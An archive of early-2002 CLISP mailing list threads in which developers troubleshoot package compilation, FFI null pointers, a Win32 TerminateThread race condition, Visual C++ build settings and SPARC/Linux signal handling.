accessible in the packages COMMON-LISP-USER, CUSTOM, EXT, FFI, SCREEN,
SYSTEM, a variable declared SPECIAL, value: NIL, has the property
SYSTEM::DOCUMENTATION-STRINGS.
Documentation as a VARIABLE:
Treat package-related operations the same way at compile and load
time.
=46or more information, evaluate (SYMBOL-PLIST
'*PACKAGE-TASKS-TREAT-SPECIALLY*).

 #<PACKAGE CUSTOM> is the package named CUSTOM.
 It exports 38 symbols to the package EXT.

 NIL is the empty list, the symbol NIL, lies in #<PACKAGE
COMMON-LISP>, is accessible in the packages CLOS, COMMON-LISP,
COMMON-LISP-USER, EXT, FFI, POSIX, REGEXP, SCREEN, SYSTEM, a constant,
value: NIL, names a type, has the properties SYSTEM::INSTRUCTION,
SYSTEM::TYPE-SYMBOL.
 For more information, evaluate (SYMBOL-PLIST 'NIL).

  #<PACKAGE COMMON-LISP> is the package named COMMON-LISP. It has the
nicknames LISP, CL.
  It imports the external symbols of the package CLOS and exports 950
symbols to the packages REGEXP, FFI, SCREEN, CLOS, POSIX,
COMMON-LISP-USER, EXT, SYSTEM.

  NIL [see above]

[2]>=20

(SYSTEM::DOCUMENTATION-STRINGS
 (VARIABLE
  "Treat package-related operations the same way at compile and load
time."))
[3]>=20
-------------------------------------------------------------------------=
-------------------------------------------------------------------------=
------------
>
>you are making a mistake.
>instead, make sure this variable is not set in any file you use.
>
>if you want to get something done (and learn something in the process),
>I suggest that you pay attention to the advice you are getting here.
>
Uhm. The very first time you mentioned this variable you said:

:>set *package-tasks-treat-specially* to NIL.
:>(this is the default in the CVS)
so I set it. And then made sure it was set everywhere.
If you want I can make sure that it is not set.

>> The funny thing is that it seems that in-package causes a lot of
>> problems, by insisting on being evaluated during compiles and loads.
>
>this is what IN-PACKAGE is required to do - by the CLHS.
>
Hmm. I get the fealing that lispdebug doesn't expect this behaviour.
The function in my first post is not used when lispdebug is run. It is
used when lispdebug is being compiled and installed.=20
Perhaps this is old behaviour that was changed and the writer of
lispdebug no longer maintains the CLisp version?

>> I'll do this, it will take some time though since I'll write a script
>> which does all this. ( That way I guarantee that I have a fresh system
>> each time. )
>
>do _not_ waste your time writing scripts.
>save old files and use diff(1) and patch(1) - included if you are on
>a Unix, available with cygwin on woe32.
You forgot that before I go on I want to install fresh clisp and
lispdebug. So I have to delete the old ones, extract the new ones,
tweak the things I need to tweak, then finally install. I prefer to do
this from a script since I can always reinstall if I even have the
slightest suggestion that the installation has been corrupted.


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> Uhm. The very first time you mentioned this variable you said:
> 
> :>set *package-tasks-treat-specially* to NIL.
> :>(this is the default in the CVS)
> so I set it. And then made sure it was set everywhere.
> If you want I can make sure that it is not set.
> 
> >> The funny thing is that it seems that in-package causes a lot of
> >> problems, by insisting on being evaluated during compiles and loads.
> >
> >this is what IN-PACKAGE is required to do - by the CLHS.
> >
> Hmm. I get the fealing that lispdebug doesn't expect this behaviour.

Then lispdebug is a non-conformant program.  You need to fix
lispdebug, not CLisp.

> The function in my first post is not used when lispdebug is run. It is
> used when lispdebug is being compiled and installed. 
> Perhaps this is old behaviour that was changed and the writer of
> lispdebug no longer maintains the CLisp version?

Perhaps.  How does CLisp work with other CL implementations (if it
does at all)?

Ciao


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Marco Antoniotti <marcoxa@cs.nyu.edu> writes:

> > The function in my first post is not used when lispdebug is
> > run. It is used when lispdebug is being compiled and installed.
> > Perhaps this is old behaviour that was changed and the writer of
> > lispdebug no longer maintains the CLisp version?
> 
> Perhaps.  How does CLisp work with other CL implementations (if it
> does at all)?

You mean lispdebug, I suppose. Works fine with CMUCL.

Edi.


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Out of boredom I ran the following on CLISP today

(load "aima.lisp")
(aima-load 'all)
(dotimes (n 100) (test 'all) (format t "~%Test number = ~A~%" (1+ n)))

to 'stress' test CLISP. The AIMA package is the lisp source code from
the book
Artificial Intelligence: A Modern Approach by Peter Norvig and Stuart
Russell
(available on the web).
At some point it hangs and just eats up processor time.
I tried this on Windows NT4.0 and FreeBSD 4.5, both with Clisp 2.27.
I did not expect this. Any explanations for this ?

Nico Swart.




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Referring to the "aima" test I did earlier on CLISP, I  repeated
the test with CMUCL under FreeBSD to verify the system (memory,etc).
The test under CMUCL completed successfully. GC times increases
slightly, but then stay constant.

Nico Swart




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> * In message <3C51DD72.C96FE0CB@stargate.net>
> * On the subject of "[clisp-list] clisp apparently hangs"
> * Sent on Fri, 25 Jan 2002 17:34:26 -0500
> * Honorable Nico <jnswart@stargate.net> writes:
>
> At some point it hangs and just eats up processor time.

please figure out which form hangs CLISP and create a stand-alone test.
thanks.

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rainer writes:
>>then I tried
>>clisp-2.27-PowerMacintosh-power
>>but have no idea how to make this run??

Sam Steingold asks:
>what exactly is your problem?

rainer writes:
thank you for your hint:
my problem is, that I run System 9.04 on Mac and that I can not run mac os X
because of some of the music-programs.

So, is there a version of
clisp-2.27-PowerMacintosh-power
for system 9?

thank you
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> * In message <B87884BB.A1%rainer@cui.unige.ch>
> * On the subject of "[clisp-list] clisp on Mac OS 9.04"
> * Sent on Sat, 26 Jan 2002 16:07:23 +0100
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> rainer writes:
> >>then I tried
> >>clisp-2.27-PowerMacintosh-power
> >>but have no idea how to make this run??
> 
> Sam Steingold asks:
> >what exactly is your problem?
> 
> rainer writes:
> thank you for your hint:
> my problem is, that I run System 9.04 on Mac and that I can not run mac os X
> because of some of the music-programs.
> 
> So, is there a version of
> clisp-2.27-PowerMacintosh-power
> for system 9?

I am afraid I will have to disappoint you: I really doubt that CLISP
can be compiled under MacOS/9.

You can certainly try to port CLISP to MacOS/9, but I think the
cost-effective solution would be to upgrade to MacOS/X. 

[use "follow-up", not "reply", so that you message goes to the list!]

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Some CLISP code of mine was crashing, but only when run from a loaded
memory image, not when loaded directly as .lisp or .fas files.

It turns out that it was failing to detect a null pointer coming out
of a glibc2 function (I'm using a CLISP built using
--with-modules=bindings/linuxlibc6). And so it then passed the
null pointer to the library, which tries to dereference a structure
member in it, causing a fault at address 0x10.

My program tries to capture a null pointer by doing this
ugly hack:

(defconstant *null-pointer* (linux:realloc (linux:malloc 1) 0))

This gives you an object which prints like this:

    #<FOREIGN-ADDRESS #x00000000>

It compares positively to other such null pointers under
the EQUALP function, so you can use it, for instance, to detect
linux:readdir returning NULL.

Now here is the rub. After having defined *null-pointer*, if
you save the memory image with ext:saveinitmem, and then
reload, the value of *null-pointer* now prints like this:

    #<INVALID FOREIGN-ADDRESS #x00000000>

     ^^^^^^^^

This object no longer compares EQUALP to newly computed null pointers.
Something in its representation has changed on save and reload, which
is disturbing.

I'd like to know what the recommended way is to test for
null pointers coming out of the FFI. Should I convert
#<... #x00000000> to a string and parse out the hex or what? 
Or compile in a C function to do it?

For now I have a workaround, which is to make *null-pointer* a
variable, and setf a new value to it right after loading the memory
image.




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> * In message <3C51DD72.C96FE0CB@stargate.net>
> * On the subject of "[clisp-list] clisp apparently hangs"
> * Sent on Fri, 25 Jan 2002 17:34:26 -0500
> * Honorable Nico <jnswart@stargate.net> writes:
>
> Out of boredom I ran the following on CLISP today

if you have nothing better to do with your time,
maybe you could write some code for us?
See <http://clisp.cons.org>  -->  Tasks
(<http://sourceforge.net/pm/?group_id=1355>)

> (load "aima.lisp")
> (aima-load 'all)
you forgot (aima-compile)
> (dotimes (n 100) (test 'all) (format t "~%Test number = ~A~%" (1+ n)))

with the current CVS CLISP on a nt4sp6 400MHz,

> (time (test 'all))
...
Real time: 65.204 sec.
Run time: 39.67705 sec.
Space: 55824376 Bytes
GC: 36, GC time: 19.588167 sec.


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>if you have nothing better to do with your time,
>maybe you could write some code for us?
>See <http://clisp.cons.org>  -->  Tasks
>(<http://sourceforge.net/pm/?group_id=1355>)
Was actually more curious to 'test' the garbage collector. I'll take a
look at
the  tasks anyway and see if I can contribute.

>> (load "aima.lisp")
>> (aima-load 'all)
>you forgot (aima-compile)
The files were compiled. I did not mention that step

>> (dotimes (n 100) (test 'all) (format t "~%Test number = ~A~%" (1+
n)))

with the current CVS CLISP on a nt4sp6 400MHz,

>> (time (test 'all))
...
>Real time: 65.204 sec.
>Run time: 39.67705 sec.
>Space: 55824376 Bytes
>GC: 36, GC time: 19.588167 sec.

what about the dotimes form ? I evaluated the form again and each
time the system hung, I interrupted it and typed :rd . Doing this four
times eventually evaluated the form :
(dotimes (n 100) (test 'all) (format t "~%Test number = ~A~%" (1+ n)))
successfully.








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> * In message <Pine.LNX.4.33.0201261002490.19520-100000@ashi.FootPrints.net>
> * On the subject of "[clisp-list] Strangeness involving FFI pointers and ext:saveimage."
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> I'd like to know what the recommended way is to test for
> null pointers coming out of the FFI. Should I convert
> #<... #x00000000> to a string and parse out the hex or what? 
> Or compile in a C function to do it?

I have no idea what _was_ the right way before, so I just added a
function FFI:FOREIGN-ADDRESS-NULL which will check for a NULL pointer.

(in the CVS now)

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when you start CLISP under win32 (or, rather, when _I_ start the current
CVS CLISP under nt4sp6 :-) and hit C-c, CLISP dies (as it should), but
issues an error message:

*** - Win32 error 87 (ERROR_INVALID_PARAMETER): The parameter is incorrect.

this message comes from the TerminateThread() call in win32aux.d:

  local BOOL temp_interrupt_handler(CtrlType)
    var DWORD CtrlType;
    {
      if (CtrlType == CTRL_C_EVENT || CtrlType == CTRL_BREAK_EVENT) {
        # Could invoke a signal handler at this point.??
        if (interruptible_active) {
          # Set interruptible_active to false, so we won't get here a
          # second time and try to terminate the same thread twice.
          interruptible_active = false;
          # Terminate the interruptible operation, set the exitcode to 1.
          if (interruptible_socketp) {
            WSACancelBlockingCall();
          }
          if (!TerminateThread(interruptible_thread,1+CtrlType)) {
            OS_error();
          }
        }
        # Don't invoke the other handlers (in particular, the default handler)
        return true;
      } else {
        # Do invoke the other handlers.
        return false;
      }
    }

can a win32 guru explain this to me (or, better yet, earn eternal fame
by winning a mention in the CLISP ChangeLog by submitting a patch :-)
(note that interruptible_thread at that moment does contain a thread
created in DoInterruptible())

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On 27 Jan 2002, Sam Steingold wrote:
> > * Honorable Kaz Kylheku <kaz@ashi.footprints.net> writes:
> >
> > I'd like to know what the recommended way is to test for
> > null pointers coming out of the FFI. Should I convert
> > #<... #x00000000> to a string and parse out the hex or what? 
> > Or compile in a C function to do it?
> 
> I have no idea what _was_ the right way before, so I just added a
> function FFI:FOREIGN-ADDRESS-NULL which will check for a NULL pointer.

Thank you very much for this! Good name too, no -P suffix, perfectly
consistent with the standard NULL predicate. ;)

> (in the CVS now)
          ^^^

Speaking of which, i've developed a Lisp layer over CVS called MCVS.
(Currently requires CLISP and Linux, but should be portable to
other Lisps and systems). This is the project in which I was having
the little FFI problem above.

Remember that little discussion we had a while back in the GNU mailing
list, concerning file renaming in the gnu-cvs mailing list?

MCVS versions the directory structure. It requires no modifications
to CVS at all. And it's very close to ready for a 0.0 alpha release.

MCVS is packaged up as a shell utility, which you can use like this:

    mcvs mv *.lisp src		 # move all the lisp files into a src/ subdir
    mcvs *.txt *.html doc	 # move text and HTML files into doc/
    emacs doc/readme.html	 # also make changes to a file
    vi doc/readme.txt 		 # or two (keeping things politically neutral)
    mcvs diff | mcvs filt	 # view diffs, decode machine-generated names
    mcvs ci			 # commit all of the above

Developers can even change the directory structure in parallel and then
merge. What's more, it's possible to distribute patches which are made
against the MCVS representation of your project. So in principle good
old diff and patch are amplified to do filesystem restructuring too.

I'm already using MCVS to version its own sources. And I've already used
the move command more than once! You don't realize just how great
it is to have this until you have it.

Lisp is about to shake up the CVS world a little. I hope. :)



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Hello, Sam,

Monday, January 28, 2002, 6:49:56 AM, you wrote:

Sam> when you start CLISP under win32 (or, rather, when _I_ start the current
Sam> CVS CLISP under nt4sp6 :-) and hit C-c, CLISP dies (as it should), but
Sam> issues an error message:

Sam> *** - Win32 error 87 (ERROR_INVALID_PARAMETER): The parameter is incorrect.

Sam> this message comes from the TerminateThread() call in win32aux.d:

Seems that it was introduced by last patches.

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Hello, Sam,

Monday, January 28, 2002, 6:49:56 AM, you wrote:

Sam> when you start CLISP under win32 (or, rather, when _I_ start the current
Sam> CVS CLISP under nt4sp6 :-) and hit C-c, CLISP dies (as it should), but
Sam> issues an error message:

Sam> *** - Win32 error 87 (ERROR_INVALID_PARAMETER): The parameter is incorrect.

I make clean, removed all objs, recompiled lisp and problem gone.

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> * In message <124258404706.20020128174734@ich.dvo.ru>
> * On the subject of "Re: [clisp-list] win32 gurus?"
> * Sent on Mon, 28 Jan 2002 17:47:34 +1000
> * Honorable Arseny Slobodjuck <ampy@ich.dvo.ru> writes:
>
> Hello, Sam,
> 
> Monday, January 28, 2002, 6:49:56 AM, you wrote:
> 
> Sam> when you start CLISP under win32 (or, rather, when _I_ start the current
> Sam> CVS CLISP under nt4sp6 :-) and hit C-c, CLISP dies (as it should), but
> Sam> issues an error message:
> 
> Sam> *** - Win32 error 87 (ERROR_INVALID_PARAMETER): The parameter is incorrect.
> 
> I make clean, removed all objs, recompiled lisp and problem gone.

this is strange - I observe it even with the released version.
(you don't always see the message, but the file location [win32aux.d:99]
is always there)
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On 27 Jan 2002 15:49:56 -0500, Sam Steingold <sds@gnu.org> wrote:

>when you start CLISP under win32 (or, rather, when _I_ start the current
>CVS CLISP under nt4sp6 :-) and hit C-c, CLISP dies (as it should), but
>issues an error message:
>
>*** - Win32 error 87 (ERROR_INVALID_PARAMETER): The parameter is =
incorrect.
>
>this message comes from the TerminateThread() call in win32aux.d:
>
>  local BOOL temp_interrupt_handler(CtrlType)
>    var DWORD CtrlType;
>    {
>      if (CtrlType =3D=3D CTRL_C_EVENT || CtrlType =3D=3D =
CTRL_BREAK_EVENT) {
>        # Could invoke a signal handler at this point.??
>        if (interruptible_active) {
>          # Set interruptible_active to false, so we won't get here a
>          # second time and try to terminate the same thread twice.
>          interruptible_active =3D false;
>          # Terminate the interruptible operation, set the exitcode to =
1.
>          if (interruptible_socketp) {
>            WSACancelBlockingCall();
>          }
>          if (!TerminateThread(interruptible_thread,1+CtrlType)) {
>            OS_error();
>          }
>        }
>        # Don't invoke the other handlers (in particular, the default =
handler)
>        return true;
>      } else {
>        # Do invoke the other handlers.
>        return false;
>      }
>    }
>
Please don't tell me gcc is now using # for comments.
Looking up the number the only information I can find is that it is an
invalid parameter. Best guess is that the calling thread is dead.
The second parameter ( from what I've seen ) does not do anything
So it must be the first that is the problem

The way to make sure is to store created thread IDs in a vector.
Then as each thread dies or is terminated, have it check it's id,
and have each remove it's id from the vector. Then have it scream you
try to kill a thread that is already dead.

>can a win32 guru explain this to me (or, better yet, earn eternal fame
>by winning a mention in the CLISP ChangeLog by submitting a patch :-)
>(note that interruptible_thread at that moment does contain a thread
>created in DoInterruptible())



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> * In message <3c5688e5.86830781@smtp.interaccess.com>
> * On the subject of "Re: [clisp-list] win32 gurus?"
> * Sent on Mon, 28 Jan 2002 17:31:18 GMT
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>
> The way to make sure is to store created thread IDs in a vector.
> Then as each thread dies or is terminated, have it check it's id,
> and have each remove it's id from the vector. Then have it scream you
> try to kill a thread that is already dead.

is this the only way to check whether the thread is alive?!

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Sam Steingold <sds@gnu.org> writes:

> when you start CLISP under win32 (or, rather, when _I_ start the current
> CVS CLISP under nt4sp6 :-) and hit C-c, CLISP dies (as it should), but
> issues an error message:
> 
> *** - Win32 error 87 (ERROR_INVALID_PARAMETER): The parameter is incorrect.
> [...]

Like the other poster, I don't see this with current CVS on nt4sp6 or
win2k.

> can a win32 guru explain this to me (or, better yet, earn eternal fame
> by winning a mention in the CLISP ChangeLog by submitting a patch :-)
> (note that interruptible_thread at that moment does contain a thread
> created in DoInterruptible())

As the man page says, TerminateThread is a bad idea, generally.  You
may be seeing odd side-effects of using it.  If used enough, it will
eventually ruin your day.  The safe way to do what that code wants to
do is by having the main thread create an event, which it passes to
the child thread.  The child thread then does WaitForMultipleObjects
on that event and the handle it wants to do IO on.  If the
ControlHandler is called, it sets that event, which wakes the child
thread and lets it return gracefully (but unsuccessfully).  No more
TerminateThread.


Todd


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Hello Sam,

Tuesday, January 29, 2002, 12:04:31 AM, you wrote:

>> Sam> when you start CLISP under win32 (or, rather, when _I_ start the current
>> Sam> CVS CLISP under nt4sp6 :-) and hit C-c, CLISP dies (as it should), but
>> Sam> issues an error message:
>> 
>> Sam> *** - Win32 error 87 (ERROR_INVALID_PARAMETER): The parameter is incorrect.
>> 
>> I make clean, removed all objs, recompiled lisp and problem gone.

Sam> this is strange - I observe it even with the released version.

Yep... In 2.27 error persists...


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On 28 Jan 2002 13:27:46 -0500, Todd Sabin <tsabin@optonline.net>
wrote:

>Sam Steingold <sds@gnu.org> writes:
>
>> when you start CLISP under win32 (or, rather, when _I_ start the =
current
>> CVS CLISP under nt4sp6 :-) and hit C-c, CLISP dies (as it should), but
>> issues an error message:
>>=20
>> *** - Win32 error 87 (ERROR_INVALID_PARAMETER): The parameter is =
incorrect.
>> [...]
>
>Like the other poster, I don't see this with current CVS on nt4sp6 or
>win2k.
>
>> can a win32 guru explain this to me (or, better yet, earn eternal fame
>> by winning a mention in the CLISP ChangeLog by submitting a patch :-)
>> (note that interruptible_thread at that moment does contain a thread
>> created in DoInterruptible())
>
>As the man page says, TerminateThread is a bad idea, generally.  You
>may be seeing odd side-effects of using it.  If used enough, it will
>eventually ruin your day.  The safe way to do what that code wants to
>do is by having the main thread create an event, which it passes to
>the child thread.  The child thread then does WaitForMultipleObjects
>on that event and the handle it wants to do IO on.  If the
>ControlHandler is called, it sets that event, which wakes the child
>thread and lets it return gracefully (but unsuccessfully).  No more
>TerminateThread.
>
>
Rather than sending Windows messages around, I prefer to create a
bool valiable that the parent toggles when it wants the child to stop.
The infinite loop then terminates and the function called by the
thread exits, killing the thread.


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olczyk@interaccess.com (Thaddeus L. Olczyk) writes:

> >As the man page says, TerminateThread is a bad idea, generally.  You
> >may be seeing odd side-effects of using it.  If used enough, it will
> >eventually ruin your day.  The safe way to do what that code wants to
> >do is by having the main thread create an event, which it passes to
> >the child thread.  The child thread then does WaitForMultipleObjects
> >on that event and the handle it wants to do IO on.  If the
> >ControlHandler is called, it sets that event, which wakes the child
> >thread and lets it return gracefully (but unsuccessfully).  No more
> >TerminateThread.
> >
> Rather than sending Windows messages around, I prefer to create a

Events are not the same as windows messages.

> bool valiable that the parent toggles when it wants the child to stop.
> The infinite loop then terminates and the function called by the
> thread exits, killing the thread.

If you don't mind busy waiting you can do that, but I try to avoid
sending the processor to 100% when not doing anything.  Using an event
does the same thing you're talking about in principle, but without the
busy wait.


Todd


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In the file win32msvc/makefile.msvc5,
the line
MSVCDIR =3D "C:/Program Files/Microsoft Visual Studio/VC98"
Should be commented out.
The problem of course is if this is not the path, you should have all
sorts of problems.
MSVCDIR should be set by the program
vcvars32.bat which Microsoft Visual C++ installs when you install
VC++ ( just use the file find dialog  to get it ). I copy mine to my
cygwin/bin direectory so I always have it at hand.

If you create a batch file to configure and setup, then it should be=20
called via:
call vcvars32.bat=20
( which is similar to the "source" command in bash ).


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1) I have not seen the C-c error with the 2.27 version.
     later I will build the newest CVS source and see if I see the=20
     bug.
2) Someone might be able to save me sometime if they explain how to do

    a Debug build for the Visual C++.


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> * In message <3c609f8c.158165250@smtp.interaccess.com>
> * On the subject of "[clisp-list] Bug in Visual C++ build Visual C++ in a "non-standard directory""
> * Sent on Tue, 29 Jan 2002 13:19:29 GMT
> * Honorable olczyk@interaccess.com (Thaddeus L. Olczyk) writes:
>
> In the file win32msvc/makefile.msvc5,
> the line
> MSVCDIR = "C:/Program Files/Microsoft Visual Studio/VC98"
> Should be commented out.
> The problem of course is if this is not the path, you should have all
> sorts of problems.
> MSVCDIR should be set by the program
> vcvars32.bat which Microsoft Visual C++ installs when you install
> VC++ ( just use the file find dialog  to get it ). I copy mine to my
> cygwin/bin direectory so I always have it at hand.
> If you create a batch file to configure and setup, then it should be 
> called via:
> call vcvars32.bat 
> ( which is similar to the "source" command in bash ).

I prefer editing Makefile once to set MSVCDIR correctly.
YMMV - do as you like.


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> * In message <3c61a35f.159144343@smtp.interaccess.com>
> * On the subject of "[clisp-list] Debug build under Visual C++?"
> * Sent on Tue, 29 Jan 2002 13:29:48 GMT
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>
> 2) Someone might be able to save me sometime if they explain how to do
>     a Debug build for the Visual C++.

edit Makefile and set MSVCDIR there correctly.
then edit CC and CFLAGS like this:
CC = cl $(MFLAGS) -G6 -Ge -Os -Oy- -Gf -Gy -Zi
CFLAGS =  -DUNICODE -DEXPORT_SYSCALLS -DDIR_KEY -DDYNAMIC_FFI -DNO_GETTEXT -DSAFETY=3 -DDEBUG_SPVW

YMMV, do it the way you like (cl /help will help!)

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On 27 Jan 2002 15:49:56 -0500, Sam Steingold <sds@gnu.org> wrote:

>when you start CLISP under win32 (or, rather, when _I_ start the current
>CVS CLISP under nt4sp6 :-) and hit C-c, CLISP dies (as it should), but
>issues an error message:
>
>*** - Win32 error 87 (ERROR_INVALID_PARAMETER): The parameter is =
incorrect.
>
>this message comes from the TerminateThread() call in win32aux.d:
>
>  local BOOL temp_interrupt_handler(CtrlType)
>    var DWORD CtrlType;
>    {
>      if (CtrlType =3D=3D CTRL_C_EVENT || CtrlType =3D=3D =
CTRL_BREAK_EVENT) {
>        # Could invoke a signal handler at this point.??
>        if (interruptible_active) {
>          # Set interruptible_active to false, so we won't get here a
>          # second time and try to terminate the same thread twice.
>          interruptible_active =3D false;
>          # Terminate the interruptible operation, set the exitcode to =
1.
>          if (interruptible_socketp) {
>            WSACancelBlockingCall();
>          }
>          if (!TerminateThread(interruptible_thread,1+CtrlType)) {
>            OS_error();
>          }
>        }
>        # Don't invoke the other handlers (in particular, the default =
handler)
>        return true;
>      } else {
>        # Do invoke the other handlers.
>        return false;
>      }
>    }
>
>can a win32 guru explain this to me (or, better yet, earn eternal fame
>by winning a mention in the CLISP ChangeLog by submitting a patch :-)
>(note that interruptible_thread at that moment does contain a thread
>created in DoInterruptible())

I do not see this error at all in either the latest CVS update, or in
the clisp-2.27 release.
OTOH I have a dual processor machine and may be avoiding the
race condition that causes the crash. I will try it on another single
processor machine later today.


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Hi!

How do you make an ffi call to something like gethostname where the
value of host is passed through a pointer and not returned? 

TIA


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Dear all,

Firstly, let me report some things that may or may not turn out to be
germane to the issues that CLISP has on SPARC/Linux; the context for
this is that over the last few months I have been porting SBCL[1] to
that platform, and there were a couple of surprises that may turn out
to be relevant.

Probably the most important is the signal handling stuff. Some of this
is documented in the SBCL internals SPARC page, at
<http://ww.telent.net/sbcl-internals/SPARC>; basically, the gist is
that SPARC/Linux completely ignores the POSIX specification for
signals. So signal handlers written as 

void handler(int signo, siginfo_t *info, void *void_context) {
  ...
}

and expecting anything useful (like, say, a ucontext structure) in
void_context will die very quickly, as the SPARC/Linux kernel seems to
put something random in there and a sigcontext on the stack.

The amusement doesn't stop there, unfortunately, because various
glibcs don't necessarily agree with the kernel on the sigcontext
layout. One combination that works(tm) is a 2.2 or 2.4 kernel and
glibc 2.2; at which point the definition in
/usr/include/bits/sigcontext.h seems to match what is on the stack at
&(void_context+37) -- this is robust enough to recompile SBCL with
itself, anyway...

There's more pain, involving traps to get the local and in registers
onto the stack as well; feel free to ask if there's anything else I
can help you with.

On a related issue, is there any change in moving towards a release,
as was thought in December? There are only so many CVS trees I can
follow, and it would be nice(tm) to have a release incorporating the
improvements that I've seen flying past in the CVS logs...

Cheers,

Christophe

[1] <http://sbcl.sourceforge.net/>
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Attached is a diff file which shows what needs to be done to fix the
TerminateThread problem.
Applying the patch might be a problem ( at least I don't have patch
on my Windows box ).=20
Here is how I successfully did it.
>>
I copied the file to a linux box.
I then opened it with emacs and did M-x set-buffer-file-coding-system
to unix and saved.
You can try any other ways to change the CRLF thing.
Apply the patch via:
patch -n win32aux.d -l term.patch
Do the emacs thing again. This time change the coding system
to dos, and copy back.

Here is a description of the code around the bug, what it does, what
the problem is and how I fixed it. ( If anyone really cares.)
-------------------------------------------------------------------------=
-----
The problem sits in the DoInterruptible routine.
DoInterruptible is supposed to let you call a C function passed
as an argument, and accept a signal generated by C-c ( or BREAK )
to abort the function.

It does it this way:
interruptible_active is a flag that indicates it is running the passed
function.

The basic routine (DoInterruptible)looks like this:

CreateThread to execute C-function
interruptible_active=3Dfalse
Set signal handler to temp_interrupt_handler
interruptible_active=3Dtrue
WaitForSingleObject // waits for thread to die.
interruptible_active=3Dfalse
clear signal handler
return

the  signal handler routine looks like
if(interrupitible_active)
{
   do_stuff
   TerminateThread
}

The problem is that the following scenario takes placeL
the thread starts to die, context-switch, interruptible_active
gets tested, context-switch, thread finishes dieing,
WaitForSingleObject returns, interrupptible_active gets set to
false, context-switch, TerminateThread tries to kill dead thread.

There is plenty of room for the first ( fatal) context switch. It can
happen anytime in the range of thread_dies, WaitForSingleObject
returns, interruptible_active is set to false.=20

The solution is to first narrow the room for the context switch and
then eliminate it.

=46irst rewrite the if routine

if(interrupitible_active)
{
   do_stuff
    if(interuptible_active)=09
      TerminateThread
}

This way a context switch has to happen between the second if and
TerminateThread, and the thread has to die.

This does not completely solve the problem because
a context switch between thread_dies and WaitForSingleObject or
setting interruptible_active can still crash the process.

The next step is to reduce the time between the exit of the thread
and the time that interruptible_active is set false. So in the
function spawned in the thread ( there are five of them ) set
Interruptible_active to false.

There is still a deadly switch but a very small one. Between the last
line of the thread, and it's return coupled to the one between
interruptible_active and TerminateThread.
So put three Sleep(0) ( the Windows version of yield) in before the
thread dies. That seems to be enough context-switches before the
thread dies to ensure that if the interruptible_active is true at the
test TerminateThread is called before the thread dies ( even though =20
it might already be dieing ).
-------------------------------------------------------------
Problem with the solution:
1) It is easier to wrap the fn in DoInterruptible with a special
keep=3Dthread alieve routine:
void ExecuteThread(vois *data)
{
extract fn=20
extract fn data
fn( fn data)
interruptible_active=3Dfalse;
Sleep(0);
Sleep(0);
Sleep(0);
}

DoInterruptible(fn,fn data)
{
vptr=3Dmingle fn and fn data.
CreateThread(ExecuteThread,vptr);
,,,
}

I don't have the time to look into the corners now.

2) The behaviour of clisp wrt C-c with the fix is the
ame as the behaviour of clisp without the fix on my dual machines.
However it's backward from the behaviour on Lisp machines.
In Lisp machines, it takes it up a level, on Windows it takes it down.
However this is a different bug.

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> * In message <3c57defc.239941875@smtp.interaccess.com>
> * On the subject of "[clisp-list] Solution to TerminateThread bug."
> * Sent on Wed, 30 Jan 2002 15:20:04 GMT
> * Honorable olczyk@interaccess.com (Thaddeus L. Olczyk) writes:
>
> Attached is a diff file which shows what needs to be done to fix the
> TerminateThread problem.

thanks.
next time, please use context (or unified) diffs - more reliable.

> Applying the patch might be a problem ( at least I don't have patch
> on my Windows box ).

cygwin comes with diff, patch &c - no problems.

> Here is a description of the code around the bug, what it does, what
> the problem is and how I fixed it. ( If anyone really cares.)

Interesting analysis.

It boils down to the fact that TerminateThread() tries to kill a dead
thread and there is no way to check whether the thread is dead or alive.
Right?

Your solution basically tries to wait for the thread to die - instead
of just killing it outright, and you said it does not always work.

Is there a solution that would always work?

Maybe you could follow the direction outlined by Todd and eliminate the
need for TerminateThread() altogether?

Thanks.

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On 30 Jan 2002 12:41:22 -0500, Sam Steingold <sds@gnu.org> wrote:

>> * In message <3c57defc.239941875@smtp.interaccess.com>
>> * On the subject of "[clisp-list] Solution to TerminateThread bug."
>> * Sent on Wed, 30 Jan 2002 15:20:04 GMT
>> * Honorable olczyk@interaccess.com (Thaddeus L. Olczyk) writes:
>>
>> Attached is a diff file which shows what needs to be done to fix the
>> TerminateThread problem.
>
>thanks.
>next time, please use context (or unified) diffs - more reliable.
>
Sorry. I'm new to patch, and my bibble on UNIX--Kernigan and Pike
don't mention it ( at least not in their index).

>> Applying the patch might be a problem ( at least I don't have patch
>> on my Windows box ).
>
>cygwin comes with diff, patch &c - no problems.
I must have missed patch.

>
>> Here is a description of the code around the bug, what it does, what
>> the problem is and how I fixed it. ( If anyone really cares.)
>
>Interesting analysis.
>
>It boils down to the fact that TerminateThread() tries to kill a dead
>thread and there is no way to check whether the thread is dead or alive.
>Right?
>
Not quite. The problem is that you test for whether the thread is
alive or not ( by the interruptible_active flag ), to soon. By the
time you get  around to calling the thread, it may have already died.
The problem is also the interweaving of contexts which means that
the thread has a chance to die before TerminateThread is called.

Understand this is a funcamental problem in your approach. Even
if you could find out whether the thread is alive or dead (via an API
call), you have the problem of the thread dieing before you could call
TerminateThread.

The way around this is to use some kind of synchronization, ie a
critical section or a mutex. However since TerminateThread does not
clean up afterwards you risk a deadlock.

A typical situation might be that the conditional surrounding
TerminateThread acquires a critical section. The child thread
is near exit and tries to acquire the same critical section to
set the interruptible_active flag. Since it can't it blocks.
The TerminateThread conditional then actually calls TerminateThread.
It then releases the the critical section. The child thread is now
dead by the attempt to acquire the critical section will now go
forward. The child thread now has the critical section, but it can't
kill it because the thread is dead. Next time around whatever tries
to acquire the critcal section will block. Deadlock.

The problem  (as Todd pointed out ) is that TerminateThread
doesn't clean up after itself.


>Your solution basically tries to wait for the thread to die - instead
>of just killing it outright, and you said it does not always work.
>
It should work all the time ( a little but here their might be a need
for tweaking, let me first explain this ).  The solution does not wait
for the thread to die. Here is what the solution does:

new_thread_function()
{
....
   interruptible_active=3Dfalse; //1
} //2 thread dies

if(interruptible_thread) //3
   TerminateThread(new_thread()); //4

On a single processor machine the system is constantly switching
between threads. Call that context switch  CS. One order of execution
is

3,CS,1,2,CS,4
In this case the parent tests to see if the thread is alive. It gets a
yes. Then a context switch sets the same variable to false. The child
thread is dieing, but the parent thread thinks it's not. The child
then dies and the parent then tries to terminate it.

An alternate order of execution could be=20
1,CS,3,CS,2
In this case the variable is set to zero, when 3 tests
interruptible_thread it discovers that it is false, the child is
dieing on it's own, and does not call TerminateThread.
Another order of execution could be
3,CS,1,CS,4
in which case
the parent thread tests interruptible_active and thinks the child
is not dieing. The child announces that it is going to die, but before
it actually dies the parent calls terminate thread and kills it.

This is a bit simplistic as the compiler/operating system are doing
things in between  the statement and for that reason a statement
may encounter several context switches before dieing.=20

